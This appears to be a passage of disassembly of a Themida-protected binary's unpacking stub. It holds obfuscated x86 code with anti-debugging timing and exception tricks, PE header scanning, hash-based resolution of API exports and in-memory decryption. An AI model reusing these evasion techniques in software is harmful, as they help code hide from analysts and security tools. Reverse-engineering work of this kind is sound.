2DC53900h, 1Dh, 5ED70A00h, 0Bh dup(0) dd 0F426DD00h, 0FFh, 3 dup(0) dd 0FF8C6100h, 0FFh, 0 dd 0DED40300h, 90EB94FCh, 7Ch, 2 dup(0) dd 801A2400h, 0B18E517Ch, 3 dup(0) dd 0DD000000h, 77h, 5 dup(0) dd 10EB00h, 7 dup(0) dd 5B69E500h, 0 dd 6049DC00h, 0 dd 0A8908000h, 0Bh dup(0) dd 9FFFED00h, 137h, 6 dup(0) dd 60291D00h, 6 dup(0) dd 801D7700h, 1D1A7A7Ch, 4 dup(0) dd 0F33B3300h, 69h, 2 dup(0) dd 7D100h, 5 dup(0) dd 20E42C00h, 84h, 2 dup(0) dd 5D13D000h, 3 dup(0) dd 5B125200h, 8 dup(0) dd 0A103C300h, 0B10000FFh, 32h dup(0) dd 12FEF000h, 3 dup(0) dd 0A6B39500h, 67h, 3 dup(0) dd 5B1D6700h, 5 dup(0) dd 0BC276000h, 0FEh, 0 dd 261C00h, 2 dup(0) dd 5D38BB00h, 5 dup(0) dd 5AB3E800h, 0 dd 29ACA600h, 1, 21212100h, 21h, 4 dup(0) dd 0B11A4000h, 5A7CD300h, 5 dup(0) dd 4D00000h, 2 dup(0) dd 1900h, 6 dup(0) dd 5C228E00h, 3 dup(0) dd 0B4299000h, 0FFh, 3 dup(0) dd 37000h, 0 dd 51104000h, 37h, 7 dup(0) dd 0DDEDE500h, 77h, 0 dd 5D037500h, 2 dup(0) dd 90EB9400h, 7Ch, 3 dup(0) dd 5F2E0B00h, 2Ah dup(0) dd 0F33B3300h, 69h, 1Eh dup(0) dd 5C228E00h, 2 dup(0) dd 2700h, 9 dup(0) dd 100h, 0 dd 0D20000h, 0DD6BF000h, 77h, 8 dup(0) dd 400h, 10h dup(0) dd 5D6A5200h, 4 dup(0) dd 60291D00h, 8DA09400h, 0FEh, 0 dd 245FF000h, 0C068EC00h, 0B1AEA100h, 0CD87D400h, 0E4h dd 0Ah dup(0) dd 57E87500h, 0 dd 0D6CD7F00h, 7Ah, 802C1600h, 7Ch, 2 dup(0) dd 5B120200h, 21119700h, 6E2E7A7Ch, 83h, 0 dd 5801DD00h, 8 dup(0) dd 0B10A2500h, 10800h, 0 dd 0F091400h, 9A019D13h, 7Bh, 14h dup(0) dd 0D2180F00h, 5Bh, 89h dup(0) dd 8C00h, 0B1B50800h, 9 dup(0) dd 802CAC00h, 7Ch, 2 dup(0) dd 0B1FA0300h, 4 dup(0) dd 0A680A300h, 0CDh, 3 dup(0) dd 0FF94BD00h, 0FFh, 6 dup(0) dd 0F2129000h, 76h, 400h, 2 dup(0) dd 0D000h, 8 dup(0) dd 0D3FFB000h, 1, 12FF6000h, 2 dup(0) dd 5B83A600h, 14482800h, 2 dup(0) dd 7F606600h, 20h, 8 dup(0) dd 60EAD700h, 67h, 2 dup(0) dd 0A8D28700h, 0 dd 5B8A4800h, 2 dup(0) dd 42A9E200h, 1Ch, 6 dup(0) dd 21500000h db 0 ; --------------------------------------------------------------------------- loc_581095: ; CODE XREF: Themida_:loc_57DB9Cj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 6143503h mov [ebp+6140C55h], edx mov [ebp+6141605h], esi mov [ebp+614268Dh], eax cmp dword ptr [ebp+61400D9h], 0 jz short loc_5810CD mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_5810CD: ; CODE XREF: Themida_:005810BFj mov eax, [esp+24h] mov [ebp+6141221h], eax push 45h call sub_581181 push 783749Ah call sub_5811C7 push 0A894B25h call sub_5811C7 jmp loc_58130B ; --------------------------------------------------------------------------- db 45h dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh dd 0C1C0BFBEh, 0C3C2h, 2 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_581181 proc near ; CODE XREF: Themida_:005810D9p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 61435F1h mov ebx, edx mov [ebp+var_28], 0 loc_58119D: ; CODE XREF: sub_581181+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_5811BC mov eax, [ebp+arg_0] mov [ebx+614355Bh], eax inc [ebp+arg_0] inc ebx jmp short loc_58119D ; --------------------------------------------------------------------------- loc_5811BC: ; CODE XREF: sub_581181+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_581181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5811C7 proc near ; CODE XREF: Themida_:005810E3p ; Themida_:005810EDp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 614363Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_5811ED: ; CODE XREF: sub_5811C7+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_5811ED mov [ebp+var_84], 0 lea edi, [edx+614355Bh] lea esi, [ebp+var_80] loc_58121D: ; CODE XREF: sub_5811C7+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_581229: ; CODE XREF: sub_5811C7+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_581229 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_58121D popa leave retn 4 sub_5811C7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_581267 ; --------------------------------------------------------------------------- loc_581263: ; CODE XREF: Themida_:0058126Aj inc dword ptr [ebp-4] inc esi loc_581267: ; CODE XREF: Themida_:00581261j cmp byte ptr [esi], 0 jnz short loc_581263 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_5812F8 ; --------------------------------------------------------------------------- loc_581279: ; CODE XREF: Themida_:005812FBj mov dword ptr [ebp-8], 0 jmp short loc_5812EF ; --------------------------------------------------------------------------- loc_581282: ; CODE XREF: Themida_:005812F3j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_5812DC ; --------------------------------------------------------------------------- loc_581292: ; CODE XREF: Themida_:005812E0j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_5812B4 cmp bl, 39h ja short loc_5812B4 sub bl, 30h jmp short loc_5812D6 ; --------------------------------------------------------------------------- loc_5812B4: ; CODE XREF: Themida_:005812A8j ; Themida_:005812ADj cmp bl, 61h jb short loc_5812C6 cmp bl, 66h ja short loc_5812C6 sub bl, 61h add bl, 0Ah jmp short loc_5812D6 ; --------------------------------------------------------------------------- loc_5812C6: ; CODE XREF: Themida_:005812B7j ; Themida_:005812BCj cmp bl, 41h jb short loc_5812D6 cmp bl, 46h ja short loc_5812D6 sub bl, 41h add bl, 0Ah loc_5812D6: ; CODE XREF: Themida_:005812B2j ; Themida_:005812C4j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_5812DC: ; CODE XREF: Themida_:00581290j cmp dword ptr [ebp-0Ch], 2 jb short loc_581292 cmp dword ptr [ebp-10h], 0 jbe short loc_5812EC mov eax, [ebp-10h] stosb loc_5812EC: ; CODE XREF: Themida_:005812E6j inc dword ptr [ebp-8] loc_5812EF: ; CODE XREF: Themida_:00581280j cmp dword ptr [ebp-8], 2 jb short loc_581282 add edx, 4 ; CODE XREF: Themida_:00581357j loc_5812F8: ; CODE XREF: Themida_:00581277j cmp edx, [ebp-4] jb loc_581279 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- loc_58130B: ; CODE XREF: Themida_:005810F2j mov ecx, 7000h lea edi, [ebp+6143780h] loc_581316: ; CODE XREF: Themida_:0058131Aj dec byte ptr [edi] inc edi dec ecx jnz short loc_581316 mov eax, 48692121h mov edx, 0F0113000h sub edx, 0F0000000h lea eax, [ebp+61438A0h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov bx, 189Eh sub bh, 0F1h call sub_581363 add bh, ah dec ebx insb jle short near ptr loc_5812F5+2 jmp short loc_5813B2 ; --------------------------------------------------------------------------- db 44h dd 8BAD1615h db 1Ah, 81h, 5Eh ; =============== S U B R O U T I N E ======================================= sub_581363 proc near ; CODE XREF: Themida_:0058134Ep mov bx, 0A66Ah pop ebx sub eax, edx push 0 push edi call sub_581375 and [edi-3Dh], bl sub_581363 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_581375 proc near ; CODE XREF: sub_581363+Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_581375 endp ; --------------------------------------------------------------------------- db 0CFh, 6Eh, 95h ; --------------------------------------------------------------------------- and eax, 0FFFFF000h push 0 push edi call sub_581398 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581398 proc near ; CODE XREF: Themida_:00581390p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_581398 endp ; --------------------------------------------------------------------------- mov edi, 0FEF26CDh mov edi, 33CA8BDAh loc_5813B2: ; CODE XREF: Themida_:00581359j jmp dword ptr [esi-7Fh] ; --------------------------------------------------------------------------- db 38h, 4Dh, 5Ah dd 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h, 10002Dh dd 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 61438B3h dd 35FF6452h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_58140A mov esi, [eax+1Ch] loc_58140A: ; CODE XREF: Themida_:00581405j xor eax, eax loc_58140C: ; CODE XREF: Themida_:0058141Fj cmp eax, 32h jz short loc_581430 cmp word ptr [esi], 5A4Dh jz short loc_581421 loc_581418: ; CODE XREF: Themida_:0058142Ej sub esi, 10000h inc eax jmp short loc_58140C ; --------------------------------------------------------------------------- loc_581421: ; CODE XREF: Themida_:00581416j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_581472 jmp short loc_581418 ; --------------------------------------------------------------------------- loc_581430: ; CODE XREF: Themida_:0058140Fj pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 61438BEh lea eax, [ebp+614387Ch] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_581472: ; CODE XREF: Themida_:0058142Cj xchg eax, esi pop large dword ptr fs:0 add esp, 4 mov ebx, 5A58F47Ah push 0 push edx call sub_58148D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58148D proc near ; CODE XREF: Themida_:00581485p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_58148D endp ; --------------------------------------------------------------------------- test dword ptr [edi+ecx], 280h add [edx-21749902h], cl mov cx, ds movzx ebx, ax jmp loc_5814C5 ; --------------------------------------------------------------------------- db 31h, 0BEh, 60h dd 0DE535477h, 1999E45Dh, 0E2AA83CAh db 1Dh ; --------------------------------------------------------------------------- loc_5814C5: ; CODE XREF: Themida_:005814B0j and cl, 4 mov bx, 9FB9h jmp loc_5814DB ; --------------------------------------------------------------------------- push es imul ecx, [ecx], 7Eh adc [esi], eax scasd push edi cwde int 3 ; Trap to Debugger loc_5814DB: ; CODE XREF: Themida_:005814CCj or cl, cl jnz loc_58152A push 0 push ecx call sub_5814EE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5814EE proc near ; CODE XREF: Themida_:005814E6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5814EE endp ; --------------------------------------------------------------------------- fdiv qword ptr [eax] mov bx, 20F4h mov dword ptr [ebp+61401CDh], 1 mov bx, 3C80h jnb loc_58151A mov ebx, ecx loc_58151A: ; CODE XREF: Themida_:00581512j jmp loc_581587 ; --------------------------------------------------------------------------- pusha sub edi, 1FE49A1h xor bl, 9Bh popa loc_58152A: ; CODE XREF: Themida_:005814DDj mov dword ptr [ebp+61401CDh], 0 push 0 push ebp call sub_58153F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58153F proc near ; CODE XREF: Themida_:00581537p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_58153F endp ; --------------------------------------------------------------------------- db 0F9h dd 3B728F0Fh, 60AA6C17h, 28B0Fh, 61600000h, 11E8h, 922C0700h dd 6EE40C3Eh, 0A353C7DCh, 0AFC87E0Eh, 0AE9E959h, 70000000h dd 42058EDAh, 22429BDCh db 0Fh, 59h, 61h ; --------------------------------------------------------------------------- loc_581587: ; CODE XREF: Themida_:loc_58151Aj mov [ebp+6140C2Dh], eax ja loc_581598 push ebx mov bx, dx pop ebx loc_581598: ; CODE XREF: Themida_:0058158Dj mov [ebp+6142C65h], eax call near ptr loc_5815AC+2 dec edx mov word ptr [edx-70h], fs jge short loc_5815CB xor [esi], al cwde loc_5815AC: ; CODE XREF: Themida_:0058159Ep adc eax, 0E959FC02h or al, 0 ; --------------------------------------------------------------------------- db 0 dd 1DF3A700h, 1AF76F4Eh, 0C53246D5h, 0B1C18148h, 6800006Ah db 8Ch, 1Ah, 0 ; --------------------------------------------------------------------------- loc_5815CB: ; CODE XREF: Themida_:005815A7j add [esi-75h], ah fcomp dword ptr [eax+66h] mov esi, 118B77E6h ; CODE XREF: Themida_:00581609j pusha xor si, 9A7Ch clc popa xor edx, 3D4C5A4Dh mov edi, ecx sub edx, 5C989292h mov bl, dl sub edx, 3A955AF5h mov esi, eax mov [ecx], edx mov esi, ecx sub ecx, 4 and esi, 721EB048h sub eax, 1 jnz near ptr loc_5815D1+3 ja loc_581628 jmp loc_581628 ; --------------------------------------------------------------------------- dw 0A2CEh dd 1535A932h, 8DBDFADDh, 0D1600813h ; --------------------------------------------------------------------------- loc_581628: ; CODE XREF: Themida_:0058160Fj ; Themida_:00581615j call sub_581633 xchg eax, ecx xchg eax, ecx inc ecx inc edx inc eax pushf ; =============== S U B R O U T I N E ======================================= sub_581633 proc near ; CODE XREF: Themida_:loc_581628p pusha mov edx, 6C8332ACh popa pop edx mov eax, 10F20B98h add edx, 5C99h mov esi, ecx mov edi, 46F92627h xor edi, 46F930DCh call near ptr loc_58166A+1 add al, 0EBh cmc pop ecx pop ss push 0FFFFFFB6h loc_58165F: ; CODE XREF: Themida_:00581673j push esi mov bh, 0E2h test al, 0D7h test eax, 81B57BE0h daa loc_58166A: ; CODE XREF: sub_581633+20p mov esp, 12E8h sub_581633 endp ; sp-analysis failed add [ebx-80h], bh inc esi ja short loc_58165F sbb esp, gs:[edi] out 0BEh, al ; Interrupt Controller #2, 8259A dec edi adc al, [eax+17CC5CB7h] pop es sub al, 0D9h pop ecx pop eax loc_581687: ; CODE XREF: Themida_:005816D6j push dword ptr [edx] movzx ecx, si pop ebx jmp loc_5816A4 ; --------------------------------------------------------------------------- db 0C1h ; Á db 77h ; w db 0FFh db 31h ; 1 db 0AAh ; ª db 0F8h ; ø db 0CCh ; Ì db 53h ; S db 96h ; – db 0D1h ; Ñ db 0A1h ; ¡ db 1Fh db 0C1h ; Á db 11h db 67h ; g db 0D5h ; Õ db 81h ; db 47h ; G ; --------------------------------------------------------------------------- loc_5816A4: ; CODE XREF: Themida_:0058168Dj sub ebx, 1ECD8E9Ch mov ch, 3 sub ebx, 7399DE53h mov cl, ah xor ebx, 1D707426h pusha mov dl, al mov ah, dh popa mov [edx], ebx or ax, 3A98h sub edx, 2 push edx movsx ecx, di pop ecx dec edx dec edx mov esi, ebx sub edi, 1 jnz loc_581687 mov al, 7Dh jmp short loc_5816E4 ; --------------------------------------------------------------------------- dd 21Bh ; --------------------------------------------------------------------------- loc_5816E4: ; CODE XREF: Themida_:005816DEj jmp loc_581E3B ; --------------------------------------------------------------------------- clc pusha pusha add dl, 82h mov [ebp+6140155h], edx popa mov eax, 0 jmp loc_581714 ; --------------------------------------------------------------------------- dd 48486A09h, 8478E4B6h, 7797A5AFh, 4EFD9285h, 94028A0Fh ; --------------------------------------------------------------------------- loc_581714: ; CODE XREF: Themida_:005816FBj mov edx, [esp+28h] xor [ebp+6142495h], edi mov [ebp+6142E2Dh], eax mov [ebp+6141BA5h], ebx ; CODE XREF: Themida_:0058174Fj mov esi, 3Ch mov [ebp+61402A1h], edi add esi, [esp+24h] pusha mov eax, [ebp+6143445h] call sub_581753 mov al, ds:0D1423883h mov ch, 1Fh cmc db 65h pushf jge short near ptr loc_581724+3 xor edx, edi ; =============== S U B R O U T I N E ======================================= sub_581753 proc near ; CODE XREF: Themida_:00581740p call near ptr sub_58176C pop eax jge short loc_581795 pop ss push ebp and ds:0BD12099h, bh cmp ecx, ecx mov dh, 0EBh outsd dec edx dec ebx inc ecx hlt sub_581753 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_58176C proc far ; CODE XREF: sub_581753p arg_20 = dword ptr 24h arg_40 = dword ptr 44h arg_48 = dword ptr 4Ch pop edi pop ecx popa lodsw jge loc_581778 stc loc_581778: ; CODE XREF: sub_58176C+5j add eax, [esp-28h+arg_48] mov [ebp+6142BC1h], ebx mov [ebp+6142A71h], esi push eax jz loc_5817A1 push eax push edx push eax push edx rdtsc loc_581795: ; CODE XREF: sub_581753+6j pop edx pop eax rdtsc loc_581799: ; CODE XREF: sub_58176C+68j jl $+6 pop edx pop eax loc_5817A1: ; CODE XREF: sub_58176C+1Dj mov [esp-24h+arg_20], eax jmp loc_5817BA ; --------------------------------------------------------------------------- db 52h, 0A7h, 0E4h dd 0BB256D5Bh, 79A661A1h, 0FE2EBE37h db 0BEh, 17h ; --------------------------------------------------------------------------- loc_5817BA: ; CODE XREF: sub_58176C+38j mov eax, [eax+78h] mov [ebp+6140391h], edx pusha push edi jmp loc_5817DE ; --------------------------------------------------------------------------- mov dl, 72h and [eax+1Fh], dh xchg al, [ebx-52h] sbb bl, bh jnb short loc_581799 cmp bl, ds:0FD71108Fh sub esi, ecx loc_5817DE: ; CODE XREF: sub_58176C+59j pop edx push edi jmp loc_5817EB ; --------------------------------------------------------------------------- db 0C0h, 0E7h, 8Bh db 54h, 87h, 0B2h ; --------------------------------------------------------------------------- loc_5817EB: ; CODE XREF: sub_58176C+74j pop edi popa add eax, [esp-24h+arg_48] cld or [ebp+6142579h], ebx mov eax, [eax+18h] clc inc eax jmp loc_581815 ; --------------------------------------------------------------------------- dw 4E25h ; --------------------------------------------------------------------------- mov dword ptr [ebp+36394E7Fh], 0CDE712D4h pop esi inc ecx adc edi, esp add cl, [edi] sahf loc_581815: ; CODE XREF: sub_58176C+91j mov [ebp+6143B44h], eax pusha jmp loc_58182B ; --------------------------------------------------------------------------- db 0E8h, 98h, 57h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0CDh, 7Ah, 5Eh db 90h db 99h, 3Dh ; --------------------------------------------------------------------------- loc_58182B: ; CODE XREF: sub_58176C+B0j mov ax, di popa pop eax jns loc_581842 jmp loc_581842 ; --------------------------------------------------------------------------- db 7Ah ; --------------------------------------------------------------------------- pop ebp sub [esi], al inc eax mov al, 6 loc_581842: ; CODE XREF: sub_58176C+C4j ; sub_58176C+CAj mov esi, [eax+78h] pusha mov [ebp+6142D79h], esi or [ebp+6141FF5h], edi popa add esi, 1Ch jmp loc_58186A ; --------------------------------------------------------------------------- db 59h dd 2872CA8Eh, 5ACF78F5h, 8A042F94h db 69h, 44h ; --------------------------------------------------------------------------- loc_58186A: ; CODE XREF: sub_58176C+EAj add esi, [esp+24h] sub [ebp+61419D1h], edx lea edi, [ebp+6140CD9h] jmp loc_581891 ; --------------------------------------------------------------------------- db 61h dd 4D7C29FAh, 41FA49E4h, 19878115h, 0F9BE8838h db 88h ; --------------------------------------------------------------------------- loc_581891: ; CODE XREF: sub_58176C+10Ej lodsd mov [ebp+614259Dh], edx add eax, [esp+24h] pusha clc push edx mov [ebp+6140BB1h], ecx pop edi popa xor [ebp+61401EDh], edi stosd pusha movsx edi, bx mov di, cx popa lea edi, [ebp+6142655h] pusha push edi mov [ebp+6142099h], esi pop edi jmp loc_5818DB ; --------------------------------------------------------------------------- dw 229Dh db 90h db 0BDh, 0DBh, 15h dd 5CCCD363h, 9D59CBB3h db 0BDh, 86h, 0F1h ; --------------------------------------------------------------------------- loc_5818DB: ; CODE XREF: sub_58176C+159j popa lodsd xor [ebp+6140BE5h], ecx mov [ebp+6142361h], esi add eax, [esp+24h] jmp loc_5818F8 ; --------------------------------------------------------------------------- dw 0B06Ah dd 1A435200h ; --------------------------------------------------------------------------- loc_5818F8: ; CODE XREF: sub_58176C+181j push eax pusha mov ecx, 8951920h jmp loc_581911 ; --------------------------------------------------------------------------- dd 0C4674AE3h, 0A9105757h, 74315BBh ; --------------------------------------------------------------------------- dec ebp loc_581911: ; CODE XREF: sub_58176C+193j popa mov [esp+0], eax jnz loc_581930 jmp loc_581930 ; --------------------------------------------------------------------------- dd 15103329h, 47DBD7CAh, 0F522E07Ah, 6FD6C10Ah ; --------------------------------------------------------------------------- loc_581930: ; CODE XREF: sub_58176C+1A9j ; sub_58176C+1AFj stosd add [ebp+614049Dh], ebx lea edi, [ebp+614157Dh] ja loc_58194E jmp loc_58194E ; --------------------------------------------------------------------------- dd 0BAE0623Ch db 4Ah, 28h ; --------------------------------------------------------------------------- loc_58194E: ; CODE XREF: sub_58176C+1D1j ; sub_58176C+1D7j jnp loc_581962 pusha jmp loc_58195F ; --------------------------------------------------------------------------- dw 0C531h db 0F5h, 13h, 70h ; --------------------------------------------------------------------------- loc_58195F: ; CODE XREF: sub_58176C+1E9j pusha popa popa loc_581962: ; CODE XREF: sub_58176C:loc_58194Ej lodsd jmp loc_581972 ; --------------------------------------------------------------------------- dd 2371BE50h, 33B0E36h db 0F4h, 7Dh ; --------------------------------------------------------------------------- loc_581972: ; CODE XREF: sub_58176C+1F7j add eax, [esp+28h] pusha mov [ebp+6143071h], ebx popa stosd jmp loc_581994 ; --------------------------------------------------------------------------- dd 0CA423373h, 746C491Eh, 336CEA5h, 0BF685B01h ; --------------------------------------------------------------------------- loc_581994: ; CODE XREF: sub_58176C+213j pop esi pusha mov eax, [ebp+6140455h] sub [ebp+6140C59h], edi popa loc_5819A3: ; CODE XREF: sub_58176C+2C3j dec dword ptr [ebp+6143B44h] cmp dword ptr [ebp+6143B44h], 0 jnz short loc_5819C2 mov [esp-30h+arg_48], 0 lea esi, [ebp+6144066h] jmp esi ; --------------------------------------------------------------------------- loc_5819C2: ; CODE XREF: sub_58176C+244j push esi lodsd add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+6140849h] test al, al jz short loc_5819D9 cmp al, [edi] jnz short loc_581A25 loc_5819D9: ; CODE XREF: sub_58176C+267j push edi xor al, al loc_5819DC: ; CODE XREF: sub_58176C+271j scasb jnz short loc_5819DC pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_5819E9: ; CODE XREF: sub_58176C+2A6j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_5819F8: ; CODE XREF: sub_58176C+29Fj shr bx, 1 rcr ax, 1 jnb short loc_581A09 xor ax, 5041h xor bx, 5449h loc_581A09: ; CODE XREF: sub_58176C+292j dec dh jnz short loc_5819F8 xor ecx, eax xor edx, ebx dec edi jnz short loc_5819E9 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_581A34 loc_581A25: ; CODE XREF: sub_58176C+26Bj pop esi add esi, 4 inc dword ptr [ebp+6142E2Dh] jmp loc_5819A3 ; --------------------------------------------------------------------------- loc_581A34: ; CODE XREF: sub_58176C+2B7j pop esi jmp loc_581A46 ; --------------------------------------------------------------------------- dw 0D633h dd 253CB259h, 47DA9BD4h db 83h, 51h ; --------------------------------------------------------------------------- loc_581A46: ; CODE XREF: sub_58176C+2C9j add [ebp+61400F9h], ebx mov eax, [ebp+6142E2Dh] pusha loc_581A53: ; CODE XREF: sub_58176C+353j js loc_581A5B mov cl, dh loc_581A5B: ; CODE XREF: sub_58176C:loc_581A53j popa shl eax, 1 jmp loc_581A73 ; --------------------------------------------------------------------------- db 4 dd 68D75176h, 14C60E9Bh, 0E8E86579h db 15h, 92h, 0ADh ; --------------------------------------------------------------------------- loc_581A73: ; CODE XREF: sub_58176C+2F2j add eax, [ebp+614157Dh] pusha jns loc_581A83 movzx esi, ax loc_581A83: ; CODE XREF: sub_58176C+30Ej jnz loc_581A8F mov [ebp+6141919h], edi loc_581A8F: ; CODE XREF: sub_58176C:loc_581A83j popa sub esi, esi mov [ebp+6141E45h], ebx jmp loc_581AA6 ; --------------------------------------------------------------------------- db 31h, 61h, 16h dd 9D75EE11h ; --------------------------------------------------------------------------- and ecx, esp loc_581AA6: ; CODE XREF: sub_58176C+32Cj xchg eax, esi add [ebp+6142BE1h], ecx lodsw sub [ebp+6142AF5h], edi shl eax, 2 jmp loc_581AC9 ; --------------------------------------------------------------------------- mov cl, [edx] loopne loc_581A53 dec edx mov al, 0A0h push eax retn ; --------------------------------------------------------------------------- dw 4DC1h ; --------------------------------------------------------------------------- xlat loc_581AC9: ; CODE XREF: sub_58176C+34Cj add eax, [ebp+6140CD9h] mov [ebp+61433D5h], eax xchg eax, esi mov [ebp+61400A5h], esi sub [ebp+6142975h], edx lodsd or [ebp+6142A85h], edx jnz loc_581AF3 pusha pusha popa popa loc_581AF3: ; CODE XREF: sub_58176C+37Dj mov ecx, [esp+24h] jl loc_581B09 jg loc_581B09 sub [ebp+6140159h], ebx loc_581B09: ; CODE XREF: sub_58176C+38Bj ; sub_58176C+391j add eax, [esp+24h] mov [ebp+6141E95h], edi mov [esp-30h+arg_48], eax jmp loc_581B23 ; --------------------------------------------------------------------------- add edi, [ebp+33562A1Ch] push edi loc_581B23: ; CODE XREF: sub_58176C+3ABj xchg eax, esi cmc jmp loc_581B2F ; --------------------------------------------------------------------------- dw 85F2h db 2Fh, 0AFh, 66h ; --------------------------------------------------------------------------- loc_581B2F: ; CODE XREF: sub_58176C+3B9j lodsb sub [ebp+6140AF5h], edx xor cl, cl mov [ebp+61411C1h], edx inc cl clc loc_581B41: ; CODE XREF: sub_58176C+40Fj rcl al, 1 jnb loc_581C02 mov [ebp+61430CDh], eax rcl al, 1 jnb loc_581C02 xor [ebp+6142A29h], edi rcl al, 1 jb loc_581C02 mov [ebp+6143491h], esi rcl al, 1 jb loc_581C02 mov [ebp+6143095h], edx dec cl jns loc_581B41 jmp loc_581B8C ; --------------------------------------------------------------------------- dw 1C22h dd 18057CA1h ; --------------------------------------------------------------------------- loc_581B8C: ; CODE XREF: sub_58176C+415j sub [ebp+6140695h], ecx add esp, 20h jmp loc_581BA0 ; --------------------------------------------------------------------------- dw 0F48Ah dd 297F76BAh ; --------------------------------------------------------------------------- loc_581BA0: ; CODE XREF: sub_58176C+429j mov dword ptr [esp-4], 0 jns loc_581BB4 add [ebp+6140051h], edx loc_581BB4: ; CODE XREF: sub_58176C+43Cj mov eax, 1 jmp loc_581BC9 ; --------------------------------------------------------------------------- dw 98F8h dd 0C1165147h, 0E51D28AAh db 25h ; --------------------------------------------------------------------------- loc_581BC9: ; CODE XREF: sub_58176C+44Dj jl loc_581BD5 xor [ebp+6140241h], edx loc_581BD5: ; CODE XREF: sub_58176C:loc_581BC9j lea ecx, [ebp+61472AFh] jno loc_581BED jo loc_581BED mov [ebp+6141EE1h], eax loc_581BED: ; CODE XREF: sub_58176C+46Fj ; sub_58176C+475j jb loc_581BFA jge loc_581BFA clc loc_581BFA: ; CODE XREF: sub_58176C:loc_581BEDj ; sub_58176C+487j jmp ecx ; --------------------------------------------------------------------------- mov [ebp+6140299h], ecx loc_581C02: ; CODE XREF: sub_58176C+3D7j ; sub_58176C+3E5j ... mov byte ptr [ebp+6140849h], 0 jz loc_581C20 jmp loc_581C20 ; --------------------------------------------------------------------------- dd 0C233F35Dh, 3DFE1F18h, 338BE4D7h ; --------------------------------------------------------------------------- loc_581C20: ; CODE XREF: sub_58176C+49Dj ; sub_58176C+4A3j jbe loc_581C27 stc loc_581C27: ; CODE XREF: sub_58176C:loc_581C20j popa clc retn 8 sub_58176C endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_581C37 ; --------------------------------------------------------------------------- db 0Fh, 17h, 0D0h db 23h, 87h, 